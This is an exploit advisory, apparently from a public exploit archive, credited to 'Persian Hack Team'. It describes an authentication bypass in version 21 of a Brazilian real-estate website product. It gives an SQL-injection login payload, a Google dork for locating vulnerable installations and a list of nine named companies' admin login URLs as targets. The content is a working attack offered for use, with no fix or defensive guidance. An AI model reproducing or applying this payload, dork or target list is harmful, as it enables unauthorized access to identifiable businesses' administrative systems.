###################### # Exploit Title : Imobivale Imóveis Ltda Authentication bypass # Exploit Author : Persian Hack Team # Vendor Homepage : http://www.groupsoftware.com.br/produtos/imobiliaria21/visao.aspx?id=1 # Google Dork : inurl:detalhes_imovel.php?Cod= # Date: 2016/01/27 # Version : 21 ###################### # PoC: # User And Pass : '=' 'or' # #http://www.frotaimoveis.com.br/adm/login.php #http://www.imobivaleimoveis.com.br/adm/login.php #http://jaderribeiro.com.br/adm/login.php #http://www.sbimobiliaria.com/adm/login.php #http://www.rossi-rs.com/adm/login.php #http://www.felicidadesimoveis.com.br/adm/index.php #http://www.nespoliimoveis.com.br/site/adm/login.php #http://www.imobiliariaadam.com.br/adm/login.php #http://www.portobelloimoveis.com/adm/index.php # ###################### # Discovered by : # Mojtaba MobhaM (kazemimojtaba@live.com) # T3NZOG4N (t3nz0g4n@yahoo.com) # Homepage : persian-team.ir ######################